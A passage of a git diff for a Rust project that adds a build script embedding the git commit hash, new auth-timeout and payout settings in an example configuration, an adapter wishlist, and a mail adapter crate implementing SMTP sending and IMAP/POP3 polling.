+    println!("cargo:rerun-if-env-changed=STACKER_GIT_SHORT_HASH");
+
+    if let Some(hash) = env::var("STACKER_GIT_SHORT_HASH")
+        .ok()
+        .and_then(|value| normalize_hash(&value))
+    {
+        println!("cargo:rustc-env=STACKER_GIT_SHORT_HASH={hash}");
+        return;
+    }
+
+    if let Some(git_dir) = resolve_git_dir() {
+        emit_git_rerun_hints(&git_dir);
+    }
+
+    if let Some(hash) =
+        run_git(&["rev-parse", "--short=7", "HEAD"]).and_then(|value| normalize_hash(&value))
+    {
+        println!("cargo:rustc-env=STACKER_GIT_SHORT_HASH={hash}");
+    }
+}
+
+fn normalize_hash(value: &str) -> Option<String> {
+    let trimmed = value.trim();
+    if trimmed.is_empty() {
+        return None;
+    }
+
+    Some(trimmed.to_string())
+}
+
+fn resolve_git_dir() -> Option<PathBuf> {
+    let manifest_dir = env::var_os("CARGO_MANIFEST_DIR").map(PathBuf::from)?;
+    let git_dir = run_git(&["rev-parse", "--git-dir"])?;
+    let git_dir = PathBuf::from(git_dir);
+
+    Some(if git_dir.is_absolute() {
+        git_dir
+    } else {
+        manifest_dir.join(git_dir)
+    })
+}
+
+fn emit_git_rerun_hints(git_dir: &Path) {
+    let head_path = git_dir.join("HEAD");
+    println!("cargo:rerun-if-changed={}", head_path.display());
+
+    if let Ok(head_contents) = fs::read_to_string(&head_path) {
+        if let Some(reference) = head_contents.trim().strip_prefix("ref: ") {
+            println!(
+                "cargo:rerun-if-changed={}",
+                git_dir.join(reference.trim()).display()
+            );
+        }
+    }
+}
+
+fn run_git(args: &[&str]) -> Option<String> {
+    let output = Command::new("git").args(args).output().ok()?;
+    if !output.status.success() {
+        return None;
+    }
+
+    String::from_utf8(output.stdout)
+        .ok()
+        .and_then(|value| normalize_hash(&value))
+}
diff --git a/configuration.yaml.dist b/configuration.yaml.dist
index 84570ee5..57f2bd36 100644
--- a/configuration.yaml.dist
+++ b/configuration.yaml.dist
@@ -2,6 +2,9 @@
 app_host: 127.0.0.1
 app_port: 8000
 auth_url: https://dev.try.direct/server/user/oauth_server/api/me
+# Bound auth dependency latency so API routes do not stall behind a slow auth service.
+auth_request_timeout_secs: 5
+auth_connect_timeout_secs: 2
 max_clients_number: 2
 agent_command_poll_timeout_secs: 30
 agent_command_poll_interval_secs: 3
@@ -66,10 +69,41 @@ connectors:
 # Env overrides (optional):
 #   VAULT_ADDRESS, VAULT_TOKEN, VAULT_AGENT_PATH_PREFIX
 #   USER_SERVICE_AUTH_TOKEN, PAYMENT_SERVICE_AUTH_TOKEN
+#   STACKER_AUTH_REQUEST_TIMEOUT_SECS, STACKER_AUTH_CONNECT_TIMEOUT_SECS
 #   DEFAULT_DEPLOY_DIR - Base directory for deployments (default: /home/trydirect)
+#   STACKER_PAYOUT_PROVIDER=mock|stripe_connect
+#   STRIPE_SECRET_KEY or PAYOUT_STRIPE_SECRET_KEY
+#   STRIPE_WEBHOOK_SECRET or PAYOUT_STRIPE_WEBHOOK_SECRET
+#   PAYOUT_ONBOARDING_RETURN_URL, PAYOUT_ONBOARDING_REFRESH_URL
 
 # Deployment settings
 # deployment:
 #   # Base path for app config files on the deployment server
 #   # Can also be set via DEFAULT_DEPLOY_DIR environment variable
 #   config_base_path: /home/trydirect
+
+# Vendor payout provider. Defaults to mock for local/dev/test.
+# For production Stripe Connect, set provider: stripe_connect and provide STRIPE_SECRET_KEY
+# via environment variable rather than committing it here.
+# payouts:
+#   provider: mock
+#   stripe_api_base_url: https://api.stripe.com
+#   onboarding_return_url: https://stacker.try.direct/marketplace/vendor/onboarding/return
+#   onboarding_refresh_url: https://stacker.try.direct/marketplace/vendor/onboarding/refresh
+#   timeout_secs: 15
+
+# Marketplace asset storage (Hetzner Object Storage / S3-compatible)
+# marketplace_assets:
+#   enabled: true
+#   current_env: dev
+#   endpoint_url: https://eu-central.objects.hetzner.com
+#   region: eu-central
+#   access_key_id: your-access-key
+#   secret_access_key: your-secret-key
+#   bucket_dev: marketplace-assets-dev
+#   bucket_test: marketplace-assets-test
+#   bucket_staging: marketplace-assets-staging
+#   bucket_prod: marketplace-assets-prod
+#   server_side_encryption: AES256
+#   presign_put_ttl_secs: 900
+#   presign_get_ttl_secs: 300
diff --git a/crates/TODO.md b/crates/TODO.md
new file mode 100644
index 00000000..0ffab357
--- /dev/null
+++ b/crates/TODO.md
@@ -0,0 +1,173 @@
+# Pipe Adapter Wishlist
+
+This file collects **suggested next adapters** for the `crates/` workspace.
+
+Current first-party adapters already present:
+
+- `webhook`
+- `smtp`
+- `imap`
+- `pop3`
+- `mailhog`
+
+The list below focuses on adapters that are likely to be useful for real Stacker
+users wiring infrastructure, alerts, workflows, and service integrations.
+
+## High priority
+
+### Notifications and chat
+
+- [ ] **Slack**
+  - Incoming webhook target
+  - Bot API target for richer messages, threads, and file uploads
+- [ ] **Telegram**
+  - Bot API target for alerts, approvals, and simple commands
+- [ ] **Discord**
+  - Webhook target for ops notifications and status feeds
+- [ ] **Microsoft Teams**
+  - Incoming webhook target for enterprise alerting
+
+### Workflow and automation
+
+- [ ] **Airflow**
+  - Trigger DAG run target
+  - Optional DAG status poll source
+- [ ] **Zapier**
+  - Catch Hook / Webhooks target adapter
+- [ ] **Make.com**
+  - Webhook target for low-code automation flows
+- [ ] **n8n**
+  - Webhook target for self-hosted workflow automation
+
+### Queues and event transport
+
+- [ ] **RabbitMQ / AMQP**
+  - Queue publish target
+  - Queue consume source
+- [ ] **Kafka**
+  - Topic publish target
+  - Topic consume source
+- [ ] **NATS**
+  - Subject publish target
+  - Subject subscribe source
+- [ ] **Redis Streams**
+  - Stream append target
+  - Stream consumer source
+
+## Medium priority
+
+### Cloud messaging and serverless triggers
+
+- [ ] **AWS SQS**
+  - Queue send target
+  - Queue poll source
+- [ ] **AWS SNS**
+  - Topic publish target
+- [ ] **Google Pub/Sub**
+  - Publish target
+  - Subscription pull source
+- [ ] **Azure Service Bus**
+  - Queue/topic publish target
+  - Queue/topic consume source
+
+### Incident management
+
+- [ ] **PagerDuty**
+  - Events API target for incident creation and resolution
+- [ ] **Opsgenie**
+  - Alert target for escalation workflows
+- [ ] **VictorOps / Splunk On-Call**
+  - Alert target for on-call routing
+
+### Developer platforms
+
+- [ ] **GitHub**
+  - Issue/comment target
+  - Release/deployment webhook source
+- [ ] **GitLab**
+  - Issue/pipeline target
+  - Webhook source
+- [ ] **Jira**
+  - Ticket create/update target
+
+### Storage and documents
+
+- [ ] **S3 / MinIO**
+  - Object put target
+  - Object event source
+- [ ] **Google Drive**
+  - File upload target
+- [ ] **Dropbox**
+  - File sync target
+
+## Lower priority but highly useful
+
+### Data platforms
+
+- [ ] **PostgreSQL**
+  - Insert/update target
+  - Logical replication / CDC source
+- [ ] **MySQL**
+  - Insert/update target
+  - Binlog source
+- [ ] **Elasticsearch / OpenSearch**
+  - Index target for logs, events, and search pipelines
+- [ ] **ClickHouse**
+  - Bulk ingest target for analytics
+
+### Observability
+
+- [ ] **Prometheus Alertmanager**
+  - Alert target
+- [ ] **Grafana OnCall**
+  - Incident/notification target
+- [ ] **Loki**
+  - Log push target
+- [ ] **OpenTelemetry**
+  - Trace/event export target
+
+### App and commerce services
+
+- [ ] **Twilio**
+  - SMS target
+  - WhatsApp target
+- [ ] **Stripe**
+  - Webhook source
+  - Event/action target where appropriate
+- [ ] **Shopify**
+  - Webhook source
+  - Admin API target
+
+## Platform-oriented adapters for Stacker use cases
+
+- [ ] **Kubernetes**
+  - Job target
+  - CronJob target
+  - Watch source for workload events
+- [ ] **Docker Registry**
+  - Image publish / tag notification target
+- [ ] **HashiCorp Vault**
+  - Secret read/write adapter beyond current direct product integrations
+- [ ] **Terraform Cloud / HCP Terraform**
+  - Run trigger target
+  - Run status source
+
+## Notes for implementation order
+
+- Prefer adapters with **simple auth + high utility** first:
+  1. Slack
+  2. Telegram
+  3. RabbitMQ
+  4. Airflow
+  5. Zapier / Make / n8n
+- Keep a clean split between:
+  - **source adapters**: poll, subscribe, receive, watch
+  - **target adapters**: send, publish, trigger, upload
+- Favor adapters that can be configured with:
+  - URL
+  - token or secret reference
+  - retry policy
+  - timeout
+  - idempotency key or dedupe field
+- Reuse the same normalized payload pattern where possible instead of creating
+  one-off transport-specific shapes for every service.
diff --git a/crates/pipe-adapter-mail/Cargo.toml b/crates/pipe-adapter-mail/Cargo.toml
new file mode 100644
index 00000000..523738c3
--- /dev/null
+++ b/crates/pipe-adapter-mail/Cargo.toml
@@ -0,0 +1,22 @@
+[package]
+name = "pipe-adapter-mail"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+async-trait = "0.1"
+async-std = "1"
+async-imap = { version = "0.11.2", default-features = false, features = ["runtime-async-std"] }
+async-native-tls = "0.5"
+async-pop = { version = "1.1.3", default-features = false, features = ["runtime-async-std", "async-native-tls", "sasl"] }
+futures-util = "0.3"
+lettre = { version = "0.11", default-features = false, features = ["builder", "smtp-transport", "tokio1-rustls-tls"] }
+mailparse = "0.16.1"
+pipe-adapter-sdk = { path = "../pipe-adapter-sdk" }
+serde = { version = "1", features = ["derive"] }
+serde_json = "1"
+thiserror = "1"
+tokio = { version = "1", features = ["net"] }
+
+[dev-dependencies]
+tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
diff --git a/crates/pipe-adapter-mail/TODO.md b/crates/pipe-adapter-mail/TODO.md
new file mode 100644
index 00000000..e978200c
--- /dev/null
+++ b/crates/pipe-adapter-mail/TODO.md
@@ -0,0 +1,12 @@
+# pipe-adapter-mail TODO
+
+## Future enhancements
+
+- Add durable POP3/IMAP cursor persistence so mailbox polling survives worker restarts without replaying already-processed messages.
+- Add explicit replay/reset semantics for mailbox sources so operators can intentionally reprocess a message range when needed.
+- Add bounded polling controls in adapter config, including max messages per poll, max body size, and max attachment metadata extraction.
+- Add richer mailbox state handling for IMAP, including configurable search criteria beyond `UNSEEN` and explicit `\Seen`/ack behavior.
+- Add safer POP3 progression semantics, including optional delete/keep behavior after successful downstream trigger delivery.
+- Add multipart attachment metadata improvements, including content-id and inline attachment handling.
+- Add adapter-level metrics and structured diagnostics for connect, login, fetch, parse, and delivery outcomes without logging secrets or message bodies.
+- Add fixture-driven tests for live protocol edge cases such as malformed MIME, empty mailboxes, duplicate UIDL/UID values, and partial TLS/auth failures.
diff --git a/crates/pipe-adapter-mail/src/lib.rs b/crates/pipe-adapter-mail/src/lib.rs
new file mode 100644
index 00000000..9b826f2e
--- /dev/null
+++ b/crates/pipe-adapter-mail/src/lib.rs
@@ -0,0 +1,1235 @@
+use async_native_tls::TlsConnector;
+use async_std::net::TcpStream;
+use async_trait::async_trait;
+use futures_util::{AsyncRead, AsyncWrite, TryStreamExt};
+use lettre::message::{header::ContentType, Mailbox, MultiPart, SinglePart};
+use lettre::transport::smtp::authentication::Credentials;
+use lettre::{AsyncSmtpTransport, AsyncTransport, Message, Tokio1Executor};
+use mailparse::{addrparse_header, parse_mail, MailAddr, MailHeaderMap, ParsedMail};
+use pipe_adapter_sdk::{
+    builtin_registry, NormalizedMailAddress, NormalizedMailAttachment, NormalizedMailBody,
+    NormalizedMailMessage, PipeAdapterCatalog, PipeAdapterDispatch, PipeAdapterError,
+    PipeAdapterMetadata, PipeAdapterPayload, PipeAdapterReference, PipeSourceAdapter,
+    PipeTargetAdapter,
+};
+use serde::Deserialize;
+use serde_json::{json, Value};
+use std::collections::HashSet;
+use std::sync::{Arc, Mutex};
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct SmtpDeliveryRequest {
+    pub host: String,
+    pub port: u16,
+    pub username: Option<String>,
+    pub password: Option<String>,
+    pub from: String,
+    pub to: Vec<String>,
+    pub reply_to: Option<String>,
+    pub subject: String,
+    pub body_text: Option<String>,
+    pub body_html: Option<String>,
+    pub tls: bool,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct SmtpDeliveryReceipt {
+    pub message_id: Option<String>,
+    pub accepted_recipients: usize,
+}
+
+#[async_trait]
+pub trait SmtpClient: Send + Sync + Clone + 'static {
+    async fn send(
+        &self,
+        request: &SmtpDeliveryRequest,
+    ) -> Result<SmtpDeliveryReceipt, PipeAdapterError>;
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct MailSourceRequest {
+    pub host: String,
+    pub port: u16,
+    pub username: String,
+    pub password: Option<String>,
+    pub tls: bool,
+    pub mailbox: Option<String>,
+}
+
+#[async_trait]
+pub trait MailSourceClient: Send + Sync + Clone + 'static {
+    async fn poll_imap(
+        &self,
+        request: &MailSourceRequest,
+    ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError>;
+
+    async fn poll_pop3(
+        &self,
+        request: &MailSourceRequest,
+    ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError>;
+}
+
+#[derive(Debug, Clone, Default)]
+pub struct LiveMailSourceClient;
+
+#[async_trait]
+impl MailSourceClient for LiveMailSourceClient {
+    async fn poll_imap(
+        &self,
+        request: &MailSourceRequest,
+    ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError> {
+        let stream = TcpStream::connect((request.host.as_str(), request.port))
+            .await
+            .map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "imap adapter failed to connect to {}:{}: {}",
+                    request.host, request.port, err
+                ))
+            })?;
+        if request.tls {
+            let tls_stream = TlsConnector::new()
+                .connect(&request.host, stream)
+                .await
+                .map_err(|err| {
+                    PipeAdapterError::Message(format!(
+                        "imap adapter failed to negotiate tls with {}:{}: {}",
+                        request.host, request.port, err
+                    ))
+                })?;
+            poll_imap_client(async_imap::Client::new(tls_stream), request).await
+        } else {
+            poll_imap_client(async_imap::Client::new(stream), request).await
+        }
+    }
+
+    async fn poll_pop3(
+        &self,
+        request: &MailSourceRequest,
+    ) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError> {
+        if request.tls {
+            let tls = TlsConnector::new();
+            let mut client =
+                async_pop::connect((request.host.as_str(), request.port), &request.host, &tls)
+                    .await
+                    .map_err(|err| {
+                        PipeAdapterError::Message(format!(
+                            "pop3 adapter failed to connect to {}:{}: {}",
+                            request.host, request.port, err
+                        ))
+                    })?;
+            poll_pop3_client(&mut client, request).await
+        } else {
+            let mut client = async_pop::connect_plain((request.host.as_str(), request.port))
+                .await
+                .map_err(|err| {
+                    PipeAdapterError::Message(format!(
+                        "pop3 adapter failed to connect to {}:{}: {}",
+                        request.host, request.port, err
+                    ))
+                })?;
+            poll_pop3_client(&mut client, request).await
+        }
+    }
+}
+
+async fn poll_pop3_client<S>(
+    client: &mut async_pop::Client<S>,
+    request: &MailSourceRequest,
+) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError>
+where
+    S: AsyncRead + AsyncWrite + Unpin + Send,
+{
+    let password = request.password.as_deref().ok_or_else(|| {
+        PipeAdapterError::Message(
+            "pop3 adapter requires a password in the adapter configuration".to_string(),
+        )
+    })?;
+
+    client
+        .login(request.username.as_str(), password)
+        .await
+        .map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "pop3 adapter login failed for '{}' on {}:{}: {}",
+                request.username, request.host, request.port, err
+            ))
+        })?;
+
+    let entries = client.uidl(None).await.map_err(|err| {
+        PipeAdapterError::Message(format!(
+            "pop3 adapter failed to list mailbox on {}:{}: {}",
+            request.host, request.port, err
+        ))
+    })?;
+
+    let items = match entries {
+        async_pop::response::uidl::UidlResponse::Multiple(entries) => {
+            let mut items = Vec::new();
+            for entry in entries.items() {
+                let index = entry.index().to_string().parse::<usize>().map_err(|err| {
+                    PipeAdapterError::Message(format!(
+                        "pop3 adapter returned invalid message index '{}': {}",
+                        entry.index(),
+                        err
+                    ))
+                })?;
+                items.push((index, entry.id().to_string()));
+            }
+            items
+        }
+        async_pop::response::uidl::UidlResponse::Single(entry) => {
+            let index = entry.index().to_string().parse::<usize>().map_err(|err| {
+                PipeAdapterError::Message(format!(
+                    "pop3 adapter returned invalid message index '{}': {}",
+                    entry.index(),
+                    err
+                ))
+            })?;
+            vec![(index, entry.id().to_string())]
+        }
+    };
+
+    let mut messages = Vec::new();
+    for (index, uid) in items {
+        let raw = client.retr(index).await.map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "pop3 adapter failed to retrieve message {} from {}:{}: {}",
+                index, request.host, request.port, err
+            ))
+        })?;
+        messages.push(parse_normalized_mail_message(
+            raw.as_ref(),
+            None,
+            Some(uid),
+        )?);
+    }
+
+    let _ = client.quit().await;
+    Ok(messages)
+}
+
+#[derive(Debug, Clone, Default)]
+pub struct LettreSmtpClient;
+
+#[async_trait]
+impl SmtpClient for LettreSmtpClient {
+    async fn send(
+        &self,
+        request: &SmtpDeliveryRequest,
+    ) -> Result<SmtpDeliveryReceipt, PipeAdapterError> {
+        let email = build_smtp_message(request)?;
+        let mut builder = if request.tls {
+            AsyncSmtpTransport::<Tokio1Executor>::relay(&request.host)
+                .map_err(|err| {
+                    PipeAdapterError::Message(format!(
+                        "invalid smtp host '{}': {}",
+                        request.host, err
+                    ))
+                })?
+                .port(request.port)
+        } else {
+            AsyncSmtpTransport::<Tokio1Executor>::builder_dangerous(&request.host)
+                .port(request.port)
+        };
+
+        match (&request.username, &request.password) {
+            (Some(username), Some(password)) => {
+                builder = builder.credentials(Credentials::new(username.clone(), password.clone()));
+            }
+            (None, None) => {}
+            _ => {
+                return Err(PipeAdapterError::Message(
+                    "smtp adapter requires both username and password when credentials are configured".to_string(),
+                ));
+            }
+        }
+
+        let response =
+            builder.build().send(email).await.map_err(|err| {
+                PipeAdapterError::Message(format!("smtp delivery failed: {}", err))
+            })?;
+
+        let mut messages = response.message();
+        Ok(SmtpDeliveryReceipt {
+            message_id: messages.next().map(str::to_owned),
+            accepted_recipients: request.to.len(),
+        })
+    }
+}
+
+#[derive(Debug, Clone)]
+pub struct SmtpTargetAdapter<T = LettreSmtpClient> {
+    metadata: PipeAdapterMetadata,
+    reference: PipeAdapterReference,
+    config: SmtpTargetConfig,
+    client: T,
+}
+
+#[derive(Debug, Clone)]
+pub struct ImapSourceAdapter<T = LiveMailSourceClient> {
+    metadata: PipeAdapterMetadata,
+    reference: PipeAdapterReference,
+    config: ImapSourceConfig,
+    client: T,
+    seen_ids: Arc<Mutex<HashSet<String>>>,
+}
+
+#[derive(Debug, Clone)]
+pub struct Pop3SourceAdapter<T = LiveMailSourceClient> {
+    metadata: PipeAdapterMetadata,
+    reference: PipeAdapterReference,
+    config: Pop3SourceConfig,
+    client: T,
+    seen_ids: Arc<Mutex<HashSet<String>>>,
+}
+
+impl SmtpTargetAdapter<LettreSmtpClient> {
+    pub fn from_reference(reference: PipeAdapterReference) -> Result<Self, PipeAdapterError> {
+        Self::with_client(reference, LettreSmtpClient)
+    }
+}
+
+impl ImapSourceAdapter<LiveMailSourceClient> {
+    pub fn from_reference(reference: PipeAdapterReference) -> Result<Self, PipeAdapterError> {
+        Self::with_client(reference, LiveMailSourceClient)
+    }
+}
+
+impl Pop3SourceAdapter<LiveMailSourceClient> {
+    pub fn from_reference(reference: PipeAdapterReference) -> Result<Self, PipeAdapterError> {
+        Self::with_client(reference, LiveMailSourceClient)
+    }
+}
+
+impl<T: SmtpClient> SmtpTargetAdapter<T> {
+    pub fn with_client(
+        reference: PipeAdapterReference,
+        client: T,
+    ) -> Result<Self, PipeAdapterError> {
+        let metadata = builtin_registry().find(&reference.code).ok_or_else(|| {
+            PipeAdapterError::Message(format!("unknown smtp adapter '{}'", reference.code))
+        })?;
+        let config_value = reference.config.clone().ok_or_else(|| {
+            PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code))
+        })?;
+        let config: SmtpTargetConfig = serde_json::from_value(config_value).map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "invalid smtp adapter config for '{}': {}",
+                reference.code, err
+            ))
+        })?;
+
+        Ok(Self {
+            metadata,
+            reference,
+            config,
+            client,
+        })
+    }
+
+    fn build_request(
+        &self,
+        payload: PipeAdapterPayload,
+    ) -> Result<SmtpDeliveryRequest, PipeAdapterError> {
+        let envelope = match payload {
+            PipeAdapterPayload::Json(value) => SmtpEnvelope::from_json(value, &self.config)?,
+            PipeAdapterPayload::MailMessage(message) => {
+                SmtpEnvelope::from_message(*message, &self.config)?
+            }
+        };
+
+        Ok(SmtpDeliveryRequest {
+            host: self.config.host.clone(),
+            port: self.config.port,
+            username: self.config.username.clone(),
+            password: self.config.password.clone(),
+            from: envelope.from,
+            to: envelope.to,
+            reply_to: envelope.reply_to,
+            subject: envelope.subject,
+            body_text: envelope.body_text,
+            body_html: envelope.body_html,
+            tls: self.config.tls,
+        })
+    }
+}
+
+impl<T: MailSourceClient> ImapSourceAdapter<T> {
+    pub fn with_client(
+        reference: PipeAdapterReference,
+        client: T,
+    ) -> Result<Self, PipeAdapterError> {
+        let metadata = builtin_registry().find(&reference.code).ok_or_else(|| {
+            PipeAdapterError::Message(format!("unknown imap adapter '{}'", reference.code))
+        })?;
+        let config_value = reference.config.clone().ok_or_else(|| {
+            PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code))
+        })?;
+        let config: ImapSourceConfig = serde_json::from_value(config_value).map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "invalid imap adapter config for '{}': {}",
+                reference.code, err
+            ))
+        })?;
+
+        Ok(Self {
+            metadata,
+            reference,
+            config,
+            client,
+            seen_ids: Arc::new(Mutex::new(HashSet::new())),
+        })
+    }
+
+    fn build_request(&self) -> MailSourceRequest {
+        MailSourceRequest {
+            host: self.config.host.clone(),
+            port: self.config.port,
+            username: self.config.username.clone(),
+            password: self.config.password.clone(),
+            tls: self.config.tls,
+            mailbox: Some(self.config.mailbox.clone()),
+        }
+    }
+}
+
+impl<T: MailSourceClient> Pop3SourceAdapter<T> {
+    pub fn with_client(
+        reference: PipeAdapterReference,
+        client: T,
+    ) -> Result<Self, PipeAdapterError> {
+        let metadata = builtin_registry().find(&reference.code).ok_or_else(|| {
+            PipeAdapterError::Message(format!("unknown pop3 adapter '{}'", reference.code))
+        })?;
+        let config_value = reference.config.clone().ok_or_else(|| {
+            PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code))
+        })?;
+        let config: Pop3SourceConfig = serde_json::from_value(config_value).map_err(|err| {
+            PipeAdapterError::Message(format!(
+                "invalid pop3 adapter config for '{}': {}",
+                reference.code, err
+            ))
+        })?;
+
+        Ok(Self {
+            metadata,
+            reference,
+            config,
+            client,
+            seen_ids: Arc::new(Mutex::new(HashSet::new())),
+        })
+    }
+
+    fn build_request(&self) -> MailSourceRequest {
+        MailSourceRequest {
+            host: self.config.host.clone(),
+            port: self.config.port,
+            username: self.config.username.clone(),
+            password: self.config.password.clone(),
+            tls: self.config.tls,
+            mailbox: None,
+        }
+    }
+}
+
+#[async_trait]
+impl<T: SmtpClient> PipeTargetAdapter for SmtpTargetAdapter<T> {
+    fn metadata(&self) -> &PipeAdapterMetadata {
+        &self.metadata
+    }
+
+    async fn deliver(&self, payload: PipeAdapterPayload) -> Result<Value, PipeAdapterError> {
+        let request = self.build_request(payload)?;
+        let receipt = self.client.send(&request).await?;
+        Ok(json!({
+            "transport": "smtp",
+            "adapter": self.reference.code,
+            "status": Value::Null,
+            "delivered": true,
+            "body": {
+                "host": request.host,
+                "port": request.port,
+                "tls": request.tls,
+                "subject": request.subject,
+                "to": request.to,
+                "from": request.from,
+                "message_id": receipt.message_id,
+                "accepted_recipients": receipt.accepted_recipients,
+            }
+        }))
+    }
+}
+
+#[async_trait]
+impl<T: MailSourceClient> PipeSourceAdapter for ImapSourceAdapter<T> {
+    fn metadata(&self) -> &PipeAdapterMetadata {
+        &self.metadata
+    }
+
+    async fn poll(&self) -> Result<Vec<PipeAdapterDispatch>, PipeAdapterError> {
+        let messages = filter_new_messages(
+            &self.seen_ids,
+            self.client.poll_imap(&self.build_request()).await?,
+        )?;
+        Ok(messages
+            .into_iter()
+            .map(|message| PipeAdapterDispatch {
+                adapter: self.reference.clone(),
+                payload: PipeAdapterPayload::MailMessage(Box::new(message)),
+            })
+            .collect())
+    }
+}
+
+#[async_trait]
+impl<T: MailSourceClient> PipeSourceAdapter for Pop3SourceAdapter<T> {
+    fn metadata(&self) -> &PipeAdapterMetadata {
+        &self.metadata
+    }
+
+    async fn poll(&self) -> Result<Vec<PipeAdapterDispatch>, PipeAdapterError> {
+        let messages = filter_new_messages(
+            &self.seen_ids,
+            self.client.poll_pop3(&self.build_request()).await?,
+        )?;
+        Ok(messages
+            .into_iter()
+            .map(|message| PipeAdapterDispatch {
+                adapter: self.reference.clone(),
+                payload: PipeAdapterPayload::MailMessage(Box::new(message)),
+            })
+            .collect())
+    }
+}
+
+#[derive(Debug, Clone, Deserialize)]
+struct SmtpTargetConfig {
+    host: String,
+    #[serde(default = "default_smtp_port")]
+    port: u16,
+    #[serde(default)]
+    username: Option<String>,
+    #[serde(default)]
+    password: Option<String>,
+    #[serde(default)]
+    from: Option<String>,
+    #[serde(default, deserialize_with = "deserialize_string_or_vec")]
+    to: Vec<String>,
+    #[serde(default = "default_true")]
+    tls: bool,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+struct ImapSourceConfig {
+    host: String,
+    #[serde(default = "default_imap_port")]
+    port: u16,
+    username: String,
+    #[serde(default)]
+    password: Option<String>,
+    #[serde(default = "default_imap_mailbox")]
+    mailbox: String,
+    #[serde(default = "default_true")]
+    tls: bool,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+struct Pop3SourceConfig {
+    host: String,
+    #[serde(default = "default_pop3_port")]
+    port: u16,
+    username: String,
+    #[serde(default)]
+    password: Option<String>,
+    #[serde(default = "default_true")]
+    tls: bool,
+}
+
+#[derive(Debug, Clone)]
+struct SmtpEnvelope {
+    from: String,
+    to: Vec<String>,
+    reply_to: Option<String>,
+    subject: String,
+    body_text: Option<String>,
+    body_html: Option<String>,
+}
+
+impl SmtpEnvelope {
+    fn from_json(value: Value, config: &SmtpTargetConfig) -> Result<Self, PipeAdapterError> {
+        let from = json_string_field(&value, "from_email")
+            .or_else(|| config.from.clone())
+            .ok_or_else(|| {
+                PipeAdapterError::Message("smtp adapter requires a from address".to_string())
+            })?;
+        let to = json_string_list_field(&value, "to_email");
+        let to = if to.is_empty() { config.to.clone() } else { to };
+        if to.is_empty() {
+            return Err(PipeAdapterError::Message(
+                "smtp adapter requires at least one recipient address".to_string(),
+            ));
+        }
+
+        let subject = json_string_field(&value, "subject")
+            .unwrap_or_else(|| "Stacker pipe message".to_string());
+        let body_text = json_string_field(&value, "body_text").or_else(|| match &value {
+            Value::String(text) => Some(text.clone()),
+            other => serde_json::to_string_pretty(other).ok(),
+        });
+        let body_html = json_string_field(&value, "body_html");
+        if body_text.is_none() && body_html.is_none() {
+            return Err(PipeAdapterError::Message(
+                "smtp adapter requires body_text or body_html content".to_string(),
+            ));
+        }
+
+        Ok(Self {
+            from,
+            to,
+            reply_to: json_string_field(&value, "reply_to_email"),
+            subject,
+            body_text,
+            body_html,
+        })
+    }
+
+    fn from_message(
+        message: pipe_adapter_sdk::NormalizedMailMessage,
+        config: &SmtpTargetConfig,
+    ) -> Result<Self, PipeAdapterError> {
+        let from = message
+            .from
+            .first()
+            .map(|address| address.email.clone())
+            .or_else(|| config.from.clone())
+            .ok_or_else(|| {
+                PipeAdapterError::Message("smtp adapter requires a from address".to_string())
+            })?;
+        let to = if message.to.is_empty() {
+            config.to.clone()
+        } else {
+            message
+                .to
+                .into_iter()
+                .map(|address| address.email)
+                .collect()
+        };
+        if to.is_empty() {
+            return Err(PipeAdapterError::Message(
+                "smtp adapter requires at least one recipient address".to_string(),
+            ));
+        }
+
+        let subject = message
+            .subject
+            .unwrap_or_else(|| "Stacker pipe message".to_string());
+        let body_text = message.body.text;
+        let body_html = message.body.html;
+        if body_text.is_none() && body_html.is_none() {
+            return Err(PipeAdapterError::Message(
+                "smtp adapter requires body_text or body_html content".to_string(),
+            ));
+        }
+
+        Ok(Self {
+            from,
+            to,
+            reply_to: None,
+            subject,
+            body_text,
+            body_html,
+        })
+    }
+}
+
+fn default_smtp_port() -> u16 {
+    587
+}
+
+fn default_imap_port() -> u16 {
+    993
+}
+
+fn default_pop3_port() -> u16 {
+    995
+}
+
+fn default_imap_mailbox() -> String {
+    "INBOX".to_string()
+}
+
+fn default_true() -> bool {
+    true
+}
+
+fn deserialize_string_or_vec<'de, D>(deserializer: D) -> Result<Vec<String>, D::Error>
+where
+    D: serde::Deserializer<'de>,
+{
+    let value = Option::<Value>::deserialize(deserializer)?;
+    Ok(match value {
+        Some(Value::String(item)) => vec![item],
+        Some(Value::Array(items)) => items
+            .into_iter()
+            .filter_map(|item| item.as_str().map(str::to_string))
+            .collect(),
+        _ => Vec::new(),
+    })
+}
+
+fn json_string_field(value: &Value, key: &str) -> Option<String> {
+    value
+        .get(key)
+        .and_then(Value::as_str)
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .map(str::to_string)
+}
+
+fn json_string_list_field(value: &Value, key: &str) -> Vec<String> {
+    match value.get(key) {
+        Some(Value::String(item)) if !item.trim().is_empty() => vec![item.trim().to_string()],
+        Some(Value::Array(items)) => items
+            .iter()
+            .filter_map(Value::as_str)
+            .map(str::trim)
+            .filter(|item| !item.is_empty())
+            .map(str::to_string)
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+async fn poll_imap_client<S>(
+    mut client: async_imap::Client<S>,
+    request: &MailSourceRequest,
+) -> Result<Vec<NormalizedMailMessage>, PipeAdapterError>
+where
+    S: AsyncRead + AsyncWrite + Unpin + Send + std::fmt::Debug,
+{
+    let password = request.password.as_deref().ok_or_else(|| {
+        PipeAdapterError::Message(
+            "imap adapter requires a password in the adapter configuration".to_string(),
+        )
+    })?;
+    client.read_response().await.map_err(|err| {
+        PipeAdapterError::Message(format!(
+            "imap adapter failed to read greeting from {}:{}: {}",
